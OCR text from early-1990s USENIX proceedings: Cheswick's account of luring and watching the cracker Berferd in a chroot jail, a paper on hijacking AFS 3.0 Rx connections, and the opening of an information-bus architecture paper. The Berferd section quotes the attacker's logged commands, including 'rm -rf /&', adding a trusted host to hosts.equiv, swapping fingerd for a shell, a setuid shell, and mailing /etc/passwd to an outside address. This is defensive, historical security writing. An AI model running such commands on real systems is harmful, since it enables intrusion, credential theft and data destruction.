I didn't want him to see a ps output either. Fortunately, his Berkeley ps com~d switches wouldn't work on our
System V machine.

At this point I called CERT. This was an extended attack, and there ought to be someone at Stanford tracing the call.
I didn't realize it would take weeks to get a trace. I wasn't sure exactly what CERT does in these circumstances. Do
they call The Feds? Roust a prosecutor? Activate an international phone tap network? What they did was log and
monitor everything, and try to get me in touch with a system manager at Stanford. They seem to have a very good list
of contacts.

By this time I had numerous windows on my terminal running tail 1 on various log files. I could monitor Riyadh and
all those demons at the same time. The action resumed with FrP:

Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.

Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd"M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd[14437]: -------> pass"M
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass"M
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP"M
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are

recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT"M
Jan 20 23:37:31 inet ftpd[14437J: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
Jan 20 23:37:41 inet inetd(116]: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd[116]: exit 14454
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23:38
23:48
23:53

finger attempt on berferd
echo "36.92.0.205 embezzle.stanford.edu" » /etc/hosts.equiv
mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
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Decision 4 dictates that the last line must fail. Therefore, he just broke the finger service on my simulated machine. I
turned off the real service.

23:57
23:58

Attempt to login to inet with bfrd from embezzle.Stanford.EDU
cp /bin/csh /usr/etc/fingerd

Csh wasn't in Ibin either, so that command "failed."

00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd

OK. Fingerd worked again. Nice of Berferd to clean up.

00:14 passwd bfrt
bfrt
bfrt

Now he was trying to change the password. This would never work, since passwd reads its input from / dev/ tty,
not the shell script that sendmail would create.

00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:17 echo "/bin/sh" > /tmp/Shell

chmod 755 /tmp/shell
chmod 755 /tmp/Shell

00: 19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00: 19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

At this point I was tired. CNN had nothing interesting to report from the Middle East. I wanted to continue watching
Berferd in the morning, but I had to shut down my simulated machine until then. I was wondering how much effort
this was worth. Cliff Stoll had done a fine job before[2] and it wasn't very interesting doing it over again. It was fun
to lead this guyon, but what's the goal? I did want to keep him busy so that someone at Stanford could trace him,
but they wouldn't be in until the morning. I could just shut down the gateway overnight: it is a research machine, not
production. I shut down the gateway after sending out a complaint about possible disk errors. I made sure Berferd
was sitting in one of those sleeps in the login when the message went out.

I decided I would like to have Berferd spend more time trying to get in than I spent leading him on. (In the long run
he won that battle.) After half an hour I concluded that this creep wasn't worth holding up a night's worth of mail. I
brought the machine back up, and went to sleep.

Berferd returned an hour later. Of course, the magic went away when I went to bed, but that didn't seem to .bother
him. He was hooked. He continued his attack at 00:40. The logs of his attempts were tedious until this command was
submitted for root to execute:

01:55 rm -rf /&

WHOA! Now it was personal! Obviously the machine's state was confusing him, and he wanted to cover his tracks.
Some crackers defend their work, stating that they don't do any real damage. Our cracker tried this with us, and
succeeded with this command on other systems.

He worked for a few more minutes, and gave up until morning.

07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
07:19 /bin/rm -rf /&

/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
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4. The day after

Cheswick

It was time to catch up with all the commands he had tried after I went to sleep, including those three attempts
to erase all our files. To simulate the nasty rm command, I took the machine dovyn for a little while, cleaned up the
simulated password file, and left a message from our hapless system administrator in / etc/motd about a disk crash.
My log showed the rest of the queued commands:

mail adrian@embezzle.stanford.edu < lete/passwd
mail adrian@embezzle.stanford.edu < jete/hosts
mail adrian@embezzle.stanford.edu < lete/inetd.eonf
ps -auxlmail adrian@embezzle.stanford.edu
ps -auxlmail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /ete/inetd.eonf

I mailed him the four simulated files, including the huge and useless / etc/hosts file. I even mailed him error
messages for the two ps commands in direct violation of the no-errors Decision 6.

In the afternoon he was still there, mistyping away:

13:41
13:41
14:05
16:07
16:08

Attempt to login to inet with bfrd from deeaf.Stanford.EDU
Attempt to login to inet with bfrd from deeaf.Stanford.EDU
Attempt to login to inet with bfrd from deeaf.Stanford.EDU
eeho "bffr ::7007:0::/:/v/bin/sh" » /ete/o"'Hpasswd
eeho "bffr ::7007:0::/:/v/bin/sh" » /ete/passwd

He worked for another hour that afternoon, and from time-to-time over the next week or so. I went to the Dallas
"CNN" Usenix, where his commands were simulated from the terminal room about twice a day. This response time
was stretching credibility, but his faith seemed unflagging.

5. The Jail

I never intended to use these tools to simulate a system in real-time. I wanted to watch the cracker's keystrokes,
to trace him, learn his techniques, and warn his victims. The best solution was to lure him to a sacrificial machine and
tap the connection. The Ethernet is easy to tap, and modified tcpdump software can separate and store the sessions.
But I didn't have a spare machine handy, so I took the software route. (Steve Bellovin did construct such a machine.
We never managed to lure anyone interesting to it)

I consulted the local gurus about the security ofa chroot environment. Their conclusion: it is not perfectly secure, but
ifcompilers and certain programs are missing, it is very difficult to escape. It is also not undetectable, but I figured that
Berferd was always in a hurry, and probably wouldn't notice. We constructed such a chroot "Jail" (or "roach motel")
and rigged up logged connections to it through our firewall machine (see Figure 1). Accounts berferd and guest were
connected to the Jail through this arrangement. 1\\'0 logs were kept per session, one each for input and output. The
logs were labeled with starting and ending times.

The Jail was hard to set up. We had to get the access times in / dev right and update utmp for Jail users. Several
raw disk files were too dangerous to leave around. We removed ps, who, w, netstat, and other revealing programs.
The "login" shell script had to simulate login in several ways (see Figure 2.) Diana D'Angelo set up a believable file
system (this is very good system administration practice) and loaded a variety of silly and tempting files.

A little later Berferd discovered the Jail and rattled around in it. He looked for a number of programs that we later
. learned contained his favorite security holes. To us the Jail was not very convincing, but Berferd seemed to shrug it
off as part of the strangeness of our gateway.

6. Tracing Berferd

Berferd spent a lot of time in our Jail. I spent a lot of time talking to Stephen Hansen at Stanford. Stephen spent
a lotof time trying to get a trace. Berferd was attacking us through one of several machines at Stanford. He connected
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Figure 1: Connections to the Jail.
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to those machines from a terminal server connected to a Gandalf switch. He connected to the Gandalfover a telephone
line.

I checked the times he logged in to make a guess about the time zone he might be in. Here was a simple graph I made
of his session start times (PS1):
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It seemed to suggest a sleep period on the east coast of the U.S., but programmers are noted for sttange hours. This
analysis wasn't very useful, but was worth a try.

Stanford's battle with Berferd is an entire story on its own, and I only know the outlines of their efforts. It took them
a long time to arrange for a trace, and they eventually obtained several. The calls came from the Netherlands. The
Dutch phone company refused to continue the trace to the caller because hacking was legal and there was no treaty in
place. (A treaty requires action by the Executive branch and approval by the U.S. Senate.)

In January, Wietse Venema of Eindhoven University contacted Stanford. Wietse hunted down a group of hackers, and
identified Berferd, including his name, address, and phone number. He also kept an eye on Berferd's friends and their
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# setupsucker login

SUCKERROOT=/usr/spool/hacker
10gin='echo SCDEST I cut -f4 -d!' # extract login from service name
home='egrep ""Slogin:" SSUCKERROOT/etc/passwd I cut -d: -f6'

PATH=/v:/bsd43:/sv; export PATH
HOME=$home; export HOME
USER=$login; export USER
SHELL=/v/sh; export SHELL.
unset CSOURCE CDEST # hide these Datakit strings

#get the tty and pid to set up the fake utmp
tty='/bin/who I /b1n/grep Slogin I /usr/bin/cut -c1S-1? I /bin/tail -1'
/usr/adm/uttools/telnetuseron /usr/spool/hacker/etc/utmp \

$10g1n $tty SS l>/dev/null 2>/dev/null

chown Slog1n /usr/spool/hacker/dev/ttyStty 1>/dev/null 2>/dev/null
chmod 622 /usr/spool/hacker/dev/ttyStty 1>/dev/null 2>/dev/null

/etc/chroot /usr/spool/hacker /v/su -c "Slogin" /v/sh -c "cd SHOME;
exec /v/sh /etc/profile"

/usr/adm/uttools/telnetuseroff /usr/spool/hacker/etc/utmp Stty \
>/dev/null 2>/dev/null

Cheswick

Figure 2: The setupsucker shell script emulates login, and it is quite tricky. We had to make the environment
variables look reasonable and attempted to maintain the Jail's own special utmp entries for the residents. We had to
be careful to keep errors in the setup scripts from the hacker's eyes.

activities.

At Stanford, Berferd was causing mayhem. He had subverted a number of machines and probed many more. Stephen
Hansen at Stanford and Thutomu Shimomura of Los Alamos had some of the networks bugged. Thutomu modified
tcpdump to provide a time-stamped recording of each packet. This allowed him to replay real-time terminal sessions.
Berferd attacked many systems at Stanford. They got very good at stopping his attacks within minutes after he logged
into a new machine. In one instance they watched his progress using the ps command. His login name changed to
uucp and then bin before the machine "had disk problems."

Berferd used Stanford as a base for many months. There are tens of megabytes of logs of his activites. He had
remarkable persistence at a very boring jobof poking computers. Once he got an account on a machine, there was 1i tLte
hope for the system administrator. Berferd had a fine list of security holes. He knew obscure sendmail parameters and
used them well. (Yes, some sendmails have security holes for logged-in users, too. Why is such a large and complex
program allowed to run as root?) He had a collection of thoroughly invaded machines, complete with SUID-to-root
shell scripts usually stored in /usr / lib/term/ •s. You do not want to give him an account on your computer.

7. Berferd comes home

In the Sunday New York Times on 21 April 1991, John Markoff broke some of the Berferd story. He said that
authorities were pursuing several Dutch hackers, but were unable to prosecute them because hacking is not illegal
under Dutch law.

The hackers heard about the article within a day or so. Wietse collected some mail between several members of the
Dutch cracker community. It was clear that they had bought the fiction of our machine's demise. One of Berferd's
friends found it strange that the Times dido't include our computer in the list of those damaged.

On 1 May Berferd logged into the Jail. By this time we could recognize him by his typing speed and errors and the
commands he used to check around and attack. He probed various computers, while consulting the network whois
service for certain brands of hosts and new targets. He did not break into any of the machines he tried from our Jail.
Of the hundred-odd sites he attacked, three noticed the attempts, and followed up with calls from very serious security

172 USENIX - Winter '92



Cheswick An Evening with Berferd •••

officers. I explained to them that the hacker was legally untouchable as far as I knew, and the best we could do was
log his activities and supply logs to the victims. Berferd had many bases for laundering his connecti.ons. It was only
through persistence and luck that he was logged at all. Would the system administrator of an attacked machine prefer
a log of the cracker's attack to vague deductions? Damage control is much easier when the actual damage known. If
a system administrator doesn't have a log, he should reload his compromised system from the release tapes.

The systems administrators and their management agreed with me, and asked that I keep the Jail open.

At the request of management I shut the Jail down on 3 May. Berferd tried to reach it a few times, and went away. The
last I heard was that he was operating from a computer in Sweden.

8. Conclusions

For me, the most important lesson was

ifa hacker obtains a login on a machine, there is a good chance he can become root sooner or later. There
are many buggy programs that run at high privileged levels that offer opportunities/or a cracker. Ifhe gets
a login on your computer, you are in trouble.

Other conclusions are:

• Though the Jail was an interesting and educational exercise, it was not worth the effort. It is too hard to get it
right, and never quite secure. A better arrangement involves a throwaway machine with real security holes, and
a monitoring machine on the same Ethernet to capture the bytes. Our version of the monitoring machine had the
transmit wire in the transceiver cable cut to avoid any possibility of releasing telltale packets.

• Breaking into computers requires a good list of security holes and a lot of persistence.

• Processing these security pokes isn't much fun any more.

Once you go out of the computer environment that you control, tracing is difficult. It can involve many carriers, law
enforcement agencies, and even the U.S. Senate.

There are other services we should monitor. T/tp is certainly one: it easily provided the password file from a large
number of machines I tested. I would also like to monitor unsuccessful connection attempts to unused UDP and TCP
ports to detect unusual scanners. .
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Abstract
We have identified several techniques that allow uncontrolled access to files managed by AFS 3.0. One method
relies on administrative (or root) access to a user's workstation. Defending against this sort of attack is very
difficult. Another class of attacks comes from promiscuous access to the physical network. Stronger crypto­
graphic protocols, such as those employed by AFS 3.1, obviate this problem. These exercises help us understand
vulnerabilities in the distributed systems that we employ (and deploy), and offer guidelines for securing them.

1. Introduction
At the Center for Information Technology Integration, we are concerned with building large-scale, multi-protocol,
multi-vendor systems. Typical of many academic computing environments, the University of Michigan is "grow­
ing" such a system. While this growth is largely from the bottom-up, we identified at an early date some of the
major building blocks that are likely to prevail in the near- and intermediate-term: Macs, PCs, UNIX systems,
Kerberos [1], X [2], AFS [3], and NFS [4]. Unfortunately, our vision sometimes blurs when the security aspects
of these systems are scrutinized.

The security architecture of several widely used network-based components has come into question in recent
years, see e.g., [5,6,7,8] (but see also [9]). While users' privacy concerns usually center on their files, they may
also wish to protect their screen contents, keystrokes, or network traffic from being seen. We cover this ground in
more detail in a recent report [10], where we emphasize the importance of access control in a distributed file sys­
tem.

Because many components of a distributed system rely on the file system, they can be no more trustworthy than
the file system. Consequently, we study our file systems closely, with an eye to identifying vulnerabilities in their
access control mechanisms.

In the next section, we describe several techniques to sidestep the access control mechanisms in AFS 3.0. (We
have validated these techniques by building working programs.) We then describe the changes in AFS 3.1 that
prevent these and other sorts of attacks, and conclude with some discussion of lessons we learned along the way.

2. Hijacking Rx connections
AFS 3.0 uses a remote procedure call package called Rx for communication between file servers and client cache
managers [11]. Rx is connection-oriented; i.e., before a server and a cache manager can do any real work, they
must verify their identities to one another, agree to communicate, and generally shake hands. Rx allows the use of
different security objects in communications. A security object is a data type that provides procedures useful to
services built on Rx, detailed in the table that follows.

The security object employed by AFS 3.0 does not use the full power of the security class. When a connection is
established, Rx goes to lengths to authenticate identities securely, relying on the ticket granting capabilities of
Kerberos. These tickets contain secret passwords tbat the server and client use to vouch their identities. But after
connection establishment, communications take place without additional cryptographic verification.t

t Rx can use other authentication policies; we describe here the one employed by AFS 3.0.
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Operation

Close
NewConn
DestroyConn
PreparePacket
CheckPacket
CheckAuth
CreateChallenge
GetChallenge
GetResponse
CheckResponse

Honeyman, Huston, •.•

Description

Discard security object.
(Re)create a connection.
Destroy a connection.
Encode packet.
Decode packet.
Check whether a connection authenticated properly. Server only.
Select a nonce. Server only.
Wrap the nonce in a challenge packet. Server only.
Respond to a challenge. Client only.
Process a response to a challenge. Server only.

Rx security object

At CITI, we are playing with ways to hijack Rx connections, validating our concern about the overall trustworthi­
ness of our computing environment. We have uncovered two schemes. One involves stealing tickets from a
user's workstation. (We'll call the person stealing the tickets the bad guy, and the user the victim.) The other can
be accomplished surreptitiously, from a workstation on any physical network between the victim's workstation
and the file server. In this latter scheme, the bad guy writes raw IP packets on an Ethernet (or similar medium),
masquerading as the victim.

2.1. From the victim's workstation
Unlike standard UNIX file systems, the administrative account, called root, has no special privileges in AFS. On
the contrary, root frequently has fewer privileges than an authenticated user. However, becoming root on a user's
workstation while she is logged in offers ways to gain access to the user's files, even those stored in AFS.

Many easy attacks are possible from the administrative account, such as modifying local binaries, reading or
modifying the contents of the AFS disk cache, etc. The attack described below uses root for privileged access to
the system memory (I dev/mem and / dev/kmem). Strictly speaking, root access is not required - any tech­
nique that allows access to the physical memory of the machine will do.

By rooting around in UNIX kernel memory, enough information can be gleaned to create new, authenticated Rx
connections in the name of the unsuspecting victim. We do this at the user process level, without using any AFS
kernel services to reach the remote file server. We can then traverse the AFS file system hierarchy, inspecting and
modifying files with abandon.

Our goal is to read or write an AFS file to which access would ordinarily be denied. To accomplish this, we need
three pieces of information: the internal AFS name for the file, called a FlO; the address of the file server that can
service our data access request; and a Kerberos ticket for mutual authentication with that file server.

There are several ways to determine the flO for an AFS file. The one we use opens the file and examines the in­
kernel vnode for the file; the vnode contains the FlO. From the FlO, we glean the file's parent cell and its
volume [12]. Traversing the afs_volumes table in the kernel gives us the address of the server for that volume.

Now that we know the identity of the server that can do our work, all we need to finish the job are the Kerberos
credentials of an authenticated user who has the proper access rights to the file.*With this in hand, we can create
an authenticated connection to the server, along which we can pass our FETCHDATA request. Conveniently, AFS
maintains the afs_users table in kernel memory, indexed by cell and user ide This table has a pointer to the
victim's Kerberos ticket, which we use to create an authenticated connection of our own.

Liberal use of AFS support libraries simplifies the task. We leave as an exercise the details of how to access the
file if we do not have permission to open it. The essential point is that we can start from the root of a cell, issuing
authenticated directory lookups to find the FlO.

*We have elided some of the complexity from this description, e.g., pretending to have a callback service.available.
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In addition to technique just described, many other methods can be imagined, most of which probably work. Note
that it is not within the scope of AFS to prevent access to resources maintained on client machines. However, the
ease with which root attacks can be implemented does affect such policy decisions as distribution of the root pass­
word, and allowing simultaneous logins on one machine.

2.2. From the victim's network
A trickier way to obtain uncontrolled access is to snoop on an Ethernet. By running the Ethernet interface in pro­
miscuous mode, a single machine can monitor conversations between AFS clients and servers, waiting for the
appearance of an authenticated connection. The bad guy can then hijack this connection and use it for his own
purposes.

This attack is possible on any network where eavesdropping is possible. The bad guy does not have to be on the
same subnet as the client - as long as the bad guy has promiscuous access to a physical network between the vic­
tim and the file server, he can monitor the protocol.

Prying open the Rx packets, the bad guy copies the IP, UDP, and Rx information into a packet of his own
manufacture. The trick is to alter the Rx connection in a subtle way, so that these illegitimate packets do not inter­
fere with those of the victim.

Rx is connection-oriented, i.e., a client and server must shake hands before communication can take place. It is at
this point that mutual authentication takes place. Thereafter, the connection is assumed to be authenticated for a
period of time, during which all requests are assumed to be authentic. In AFS 3.0, the connection is good for up to
a day or so, although the server may clean up (or reap) idle connections at any time.

If he can read and write raw packets on the physical network, the bad guy can "borrow" authenticated connec­
tions by inspecting communication between the victim and the server and issuing IP packets to the server that
appear to originate from the victim. Through this misrepresentation, the bad guy can convince the server that it is
acting on behalf of an authentic request from the victim.

Rx is a windowing protocol, which presents certain subtleties. Both client and server keep track of the highest call
number used to completion. Any packet with a smaller call number is discarded as a straggler. Straightforward
use of the victim's connection may cause the server to discard the victim's later, valid requests, possibly exposing
the bad guy. Fortunately, Rx offers an easy solution to this dilemma: channels, which allow multiple simultane­
ous calls to share the same authentication information.

o
4

8
12
16
20
24

I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I

Epoch
Connection ID 1*

Call
Sequence
Serial

Type I Flags I Status Isecurity
Service ID 1 Reserved

Rx header

An Rx header, depicted in the figure above, is 28 bytes. The two-bit field marked * specifies the Channel ID.
Rx supports up to four channels per connection. When a remote procedure call is made, the Rx client uses the
lowest channel with no calls outstanding. Most calls take place on channel zero, but channels one, two, and three
may also be used. It is very rare for channel three to be used, although we have seen it happen.

Using connection and channel identification information that we snoop off the network, we employ channel three
to do our work. The beauty of this scheme is that the victim's Rx connection silently discards the responses to our
bogus requests, so the subterfuge is completely invisible to the victim!
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2.3. A challenge/response oracle
Rather than passively borrowing an existing connection, we have devised a proactive means to create an authenti­
cated connection. Our scheme requires the momentary assistance of an already authenticated cache manager to
act as an "oracle."

To explain this scheme, we first describe in more detail the mechanism by which a cache manager authenticates
itself with a file server. Whenever a file system request is received by a server, it checks to see whether the
request is associated with an authenticated connection. If so, the request is serviced with the cached credentials
associated with the connection. Otherwise, the server issues a "challenge" to the cache manager that made the
request. A cache manager is prepared to accept a challenge at any time. This allows the server to reap old con­
nection state without explicitly tearing down the connection.

A challenge packet consists principally of a 32-bit nonce identifier. Using the operations defined for the Rx secu­
rity object, a challenge packet is prepared and sent to a client The client increments the nonce, seals the response
with the session key in the Kerberos ticket, and returns the result and the ticket to the challenger.

The oracle subterfuge takes advantage of a client's willingness to repond to a challenge at any time, and the lack
of any connection-specific infonnation in the response. The bad guy creates a file server connection by issuing a
request to the server, e.g., with a FETCHDATA or STOREDATA request. The server sees this as a new, unauthenti­
cated connection and issues the bad guy a challenge packet.

Now the diny work. The bad guy takes the challenge packet and changes the Rx header to make the packet
appear to be a challenge to an existing Rx connection on the victim's machine. The bad guy then sends this
request to the victim's machine as though it were from the file server. The forwarded request is processed by the
victim's unsuspecting cache manager, which prepares and sends a response. Although this response is seen by the
file server, it is quickly discarded because a response packet on this connection is not pending.

I I response I I
victim I---=r--;..;. server

~

The bad guy, who was listening for the response, modifies the Rx header to make it correspond to the challenge
that is pending. Upon sending it to the server, the bad guy is rewarded with an authenticated connection that can
be used for a lengthy period. Neither the server nor the victim is aware that they have been had!
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3. Changes in AFS 3.1
The latest version of AFS from Transarc, AFS 3.1, addresses these crucial security issues. In particular, Rx now
includes an encrypted verifier on every packet exchanged between a client and a server. This verifier is built by
smashing together the connection ID, the call number, the channel number, the security index, the packet sequence
number, and the session key for the connection. The packet sequence number is included to assure that the
verifier changes on every packet. The call, channel, and connection ID insulate the connection from replay
attacks. These values are combined with the per-connection session key to obscure the contents, because they
appear in cleartext in the Rx header.

The resulting 64-bit word is encrypted under the session key. If the session key is distributed to the client and
server securely, its use ensures that only the client and server can construct a proper verifier. Finally, a 16-bit
chunk of the resulting 64-bit word is included as the packet header verifier. Although such a small verifier is sus­
ceptible to exhaustive search attack, if the server is ever presented with an invalid verifier, it instructs the client to
abort the connection.

In addition, the challenge-response step has been modified to prevent a combination of oracie attack and replay
attempts. The client now includes in the response to a challenge the largest sequence number ever used on the
connection it is authenticating. This prevents replay attacks after the file server has discarded the state associated
with a connection.

With these changes to the Rx security object, our network-based attacks no longer function. At this writing, we
know of no way to bypass the access control protections in AFS 3.1.

4. Discussion
In penetrating our file servers, we have discovered (or rediscovered) important lessons and useful techniques for
securing our computing environment.

A typical university computing site offers public access to the distributed computing environment with minimal
supervision. We can not assume trusted kernels or utilities, and must view workstations as pawns under continual
attack. What we really need is a way to "scrub," or initialize a workstation to a known state in a secure way
whenever a new user wants to login. But our scrub procedure is not secure, and in any event takes too long.

Although still subject to a Trojan horse attack [13], the environment would be somewhat more secure by prohibit­
ing simultaneous use of a workstation by more than one user. This is standard procedure for Project Athena [14]
workstations.

The guarantees offered by the security object in AFS 3.0 are fatally weakened by the absence of an encrypted
verifier in every packet. After we pointed out these weaknesses, Transarc released a much more secure version of
their distributed file system. AFS 3.1, based on an extensively modified version of Rx, obviates the channel and
oracle attacks. In addition, Transarc identified other security protocol issues, ones that escaped our attention, and
modified the protocol to deal with them as well.

We feel that other distributed file systems have overlooked security issues as well; certainly AFS is not alone with
these problems. For example, virtually every NFS installation we know of has security holes that make AFS 3.0
look like Fort Knox.

It must be kept in mind that passive snooping on an Ethernet offers vast opportunities to attack systems, e.g.,
c1eartext passwords regularly appear on our local Ethernet, especially those of our system administrators. It is
vital that we find network technologies that do not admit promiscuous access.

As technology moves toward distributed services, it becomes increasingly difficult to secure the boundary between
an end system and a service provider. Current trends indicate a growing concern for security issues; designers of
distributed file systems, and other distributed services, must pay careful attention to the level of protection that
they provide.
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An Information Bus Architecture for
Large-Scale, Decision-Support Environments

Dale Skeen
Teknekron Software Systems, Inc.

1. Introduction

Some of the promising industries for commercializing UNIX are those requiring real-time
decision support, such as trading rooms, factory automation, process control, and network
management. These large-scale, real-time environments present challenging technical prob­
lems of high data volumes, split-second response times, and high availability. Moreover, these
environments demand flexible architectures that can support a rapidly changing set of applica­
tion requirements.

Herein, we describe a distributed software platfonn, called the Teknekron Infonnation Bus™
system used to support such environments. It is based on several novel concepts:

• the use of a "publish/subscribe" interaction paradigm supporting anonymous communica­
tion between system components,

• the use of self-describing objects in lieu of messages,

• an extensible "software bus" architecture supporting various levels of service in order to
meet stringent scalability, perfonnance, and reliability criteria.

We have found the notion of a "software bus" to be a powerful system metaphor that supports
the building of highly complex systems through the composition of independent software
components using a simple communication paradigm. The resulting systems are highly modu­
lar and robust in the face of dramatic changes in application architecture.

The Infonnation Bus system is in production use for mission-critical applications in over 30
installations worldwide. Most of these installations are large securities trading floors of invest­
ment banks; brokers, and funds managers. Such trading floors are very data-intensive environ­
ments that have provided a demanding testbed for validating the bus's design and
implementation. For example, a large trading floor may have over a hundred UNIX servers
supporting over five hundred workstations running thousands of applications with data
exchange rates exceeding several thousand objects per second.
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2. Objectives

Skeen

The objectives of Information Bus is

• to provide a software platform for the intelligent dissemination and integration of data in a
distributed application environment,

• to provide a simple development environment for large complex applications-in particu­
lar, for large, real-time decision support applications.

Real-time decision support environments differ from traditional computing environments in
several important ways, but the most fundamental difference is in the interaction paradigm.
Whereas the request/reply interaction paradigm supported by the client-server computing is
an excellent paradigm for most computing environments, it is ill-suited for real-time decision
support environments. Instead a more appropriate interaction paradigm is an "event-driven"
one with the following characteristics:

• communication is initiated by the producer and is unilateral

• communication is asynchronous

• communication tends to be from one producer to many consumers (e.g., a "multicast"
communication model)

Two major challenges present themselves in supporting real-time decision-support environ­
ments.The biggest one is satisfying their strict technical requirements-for example, the capa­
bility to generate over 1000 objects per second and to support over 10,000 data exchanges per
second. Furthermore, mission-critical applications require that a platform and its services
have no single points of failure. Techniques for meeting these technical requirements, espe­
cially those of performance and scalability, will be highlighted in the remaining sections of the
paper.

The other major challenge is providing support for building flexible systems of applications
that, though large and complex, can still be quickly evolved to meet a changing set of require­
ments. Toward this end, it was decided to provide an environment enabling the dynamic inte­
gration of new services.

3. System Model

Information Bus supports a high-level system model based on subjects and self-describing
data objects. As depicted in Figure 1, data producers generate new data objects, label them
with subjects and "publish" them on Information Bus. An application consumes data by "sub­
scribing" to the appropriate subject(s). Communication between components is therefore
anonymous and based on object generation. This variant .. of a generative communication
model [1] is called subject-based addressing.

The subject space is hierarchical enabling consumers to request data at several levels of gran­
ularity. In the trading floor example of Figure 1, an application can subscribe to all informa-
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o
tion on IBM by requesting the subject "equity.IBM" or only to the price of IBM stock on the
New York Stock Exchange by requesting the subject "equity.IBM.price.nyse." As this exam­
ple illustrates, subject conventions are typically chosen to be intuitive and familiar to the prin­
cipal users of the system, which in this case are stock traders.

The association between subjects and publishers is dynamic. New publishers can come online
and begin publishing on existing subjects. Existing publishers can easily change the set of
subjects on which they are publishing. A publisher can define a new subject and immediately
begin publishing on it. This type of dynamism in publishing permits a user to define a new cal­
culation in a spreadsheet, assign it a subject, and then start publishing into other tools that he
is currently using. Moreover, by simply informing his colleagues of the "subject" of his new
calculation, other users can directly subscribe and use his calculation, or even to refined them
and republish them under a different subject.

To prevent both inadvertent and malicious publishing of mis-information and to prevent unau­
thorized access to sensitive data, publishing and subscribing is subject to access control.
Access lists are maintained for major subject headings and or ranges within major subject
headings. Publish and subscribe rights can be associated at the user, group, or public level.

Published objects can be persistent or transient. Persistent objects are stored in a data cache
either at the publisher or more typically in a shared Active Repository. These repositories can
be queried by consumers to retrieve the most recent version of the published objects on a
given subject. For persistent objects, Information Bus supports a "query and subscribe" opera­
tion which provides the consumer with the most recently published versions of objects on the
requested subject, and thereafter provides a continuous stream of new versions of these
objects. Active repositories also play an important role in supporting fault-tolerance and Scal­
ability, which will be described in a subsequent section.

Transient objects are not retained by the system after they are published and disseminated.
Hence, in order to receive a transient object, an application must be actively subscribing to its
subject at the time of its publication. Data that is of minor importance or that itself is of a tran­
sient nature (e.g., cpu loading) is suitable to be published as transient objects. Also, data
defined "on the fly" to be interchanged among user programs, such as the spreadsheet example
discussed above, is typically published as transient objects.

Data exchanged among applications is based on an object-oriented data model supporting
complex objects and multi-media. Two properties of the object system has been instrumental
in achieving the objective of a flexible, dynamic architecture. First, each object is self-describ­
ing and supports access to its metadata through a programmatic interface. Second, the object
system supports the dynamic creation and communication of new classes.! Together, these
properties provide support for the dynamic integration of new producers and, more impor­
tantly, have enabled the development of powerful, generic tools, such as a real-time data visu-

1. In production releases. dynamically created classes can not define new methods; however, this limitation
has been eliminated in the current experimental version through the use of an interpreted language for
dynamically defined methods.
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alization tools and a "universal database loader" that does on-the-fly schema conversion to a
target relational database.

Subject-based addressing, together with self-describing data, provides an interaction paradigm
that is conceptually simple, yet powerful enough to construct complex systems. Figure 2
depicts another example taken from a trading floor. The "bus" is depicted here in a different
style to better illustrate the data flows among the various processes. It is important to remem­
ber, however, that the data flows themselves are managed by Information Bus and are trans­
parent to the applications.

The diagram illustrates an important system composition technique referred to as information
pipelining. Through subject-based addressing, independent components can be composed to
provide complex functionality, in much the same· way that I/O redirection in UNIX pennits
programs to be composed into a "pipeline." In both types of pipelines, the providers of a mod­
ule's input data and the consumers of its output data are anonymous. Also, both types of pipe­
lines are easily extended by simply appending more modules, and both support reusability by
encouraging developers to decompose systems into orthogonal, reusable modules that can be
combined in a variety of ways. Of course, information pipelines and UNIX pipelines differ in
several important ways: most noticeable, data produced on an information pipeline is not con­
strained to be consumed by a single "next" module but, in fact, is available for consumption
by any number of modules. Hence, each module in an information pipeline is normally
viewed as enriching the data stream as opposed to transforming it.

In addition to network independence and location independency, Information Bus supports
data independence (through self-describing objects) and data production independence
(through subject-based addressing). These properties permit dramatic changes in application
architecture in a transparent fashion. For example, whether NYSE stock prices and CBOT
option prices are delivered through different modules (as shown) or through the same module
is completely transparent to all other applications. Similarly, the three components performing
index, spread, and trend analysis could be replaced by a single component in a transparent
fashion.

Architectural changes that include the introduction of new data producers can also often be
accomplished in a transparent fashion. For example, a new module publishing OTC prices
could be introduced. Assuming that the data was published in a compatible format, then the
various data consumers could make use of this data simply by subscribing to the new subjects
supported by the OTC module. The fact that the data is produced by a new module is transpar­
ent to the consumers. This can be contrasted with more traditional software engineering
approaches, where communication among components is not anonymous. Addition of new
modules into such environments typically require software changes in existing clients.

4. Architecture

The publish-subscribe paradigm is simple, intuitive idea-the major challenge is implement­
ing it efficiently. During the design of Information Bus, an important objective was to support
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a wide range of data producers, from large, mission-critical producers to small noncritical pro­
ducers, such as real-time spreadsheets. In addition, a wide range of configurations, from large
configurations running thousands of consuming applications to small ones with only a few
applications, needed to be supported. This section ovetviews the overall architecture and
